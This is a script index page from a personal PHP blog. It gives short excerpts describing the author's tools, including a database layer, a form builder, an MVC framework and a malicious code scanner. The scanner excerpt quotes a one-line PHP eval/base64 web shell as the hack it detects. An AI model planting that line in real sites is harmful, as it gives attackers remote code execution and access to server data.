MIKESTOWE.COM

Just another php, religion, and politics weblog

Scripts

DB::DBAL

DB::DBAL has been moved to http://dbal.mikestowe.com. DB::DBAL is a lightweight Database Abstraction Layer that is designed to allow for multiple database types and connections simultaneously. DB::DBAL provides ease of use of use through query chaining, security via automatic where clause escaping, as well as code reusability through the ability to add universal events for table [...]

Share

Form Builder

To be perfectly honest, this is a class I built awhile ago (back in November of 2010), so going from memory here. But basically, Form Builder allows you to setup a databased/ emailed form quickly and easily, in just a few lines of code. For example, to build and process a form that contains 8 [...]

Share

smrtClass

smrtClass is a restrictive data type class based on PHP’s stdClass. Instead of allowing the free creation and setting of properties as the stdClass does, smrtClass requires properties to be setup first with a specific type or regex requirement. Data is then checked against this requirement when the property is modified, and if inconsistent with [...]

Share

MyMVC

MyMVC is a simple, Model-View-Controller PHP framework that is built on a modular, plug-in-play based system utilizing workers, a start-up directory, and extensions. MyMVC also allows the use of super views, classes, interfaces, and traits (PHP 5.4).   Currently development of MyMVC is in progress, and it’s pre-alpha release. Once I get it developed a [...]

Share

PHP Malicious Code Scanner

OS Commerce, WordPress, Joomla, Drupal, and custom built sites have all been hacked by the “wonderful” <?php @eval(base64_decode($_GET[q])); ?> hack.  By slyly uploading a single php file to your server, these hackers gain the ability to push any code, view any source, and retrieve any data.  And unfortunately, as hard as we try to prevent [...]

Share

phpScanner – 1.3

What is phpScanner You’ve just finished building a large php based site, and the client wants some changes made. So sure enough, you make the changes and push them live, only to get a call from the client about some pages not working. Sure enough, that little change you made messed up some obscure, buried [...]

Share

HTMLe Plugin Engine

What is HTMLe You’ve just built a WordPress website for your client, or provided them with a custom CMS and then they say… “we want to add a feed on this page to cnn.com, and a feed on this page to yahoo.com.”  Or they say, “wow, this is great, but can we add our twitter [...]

Share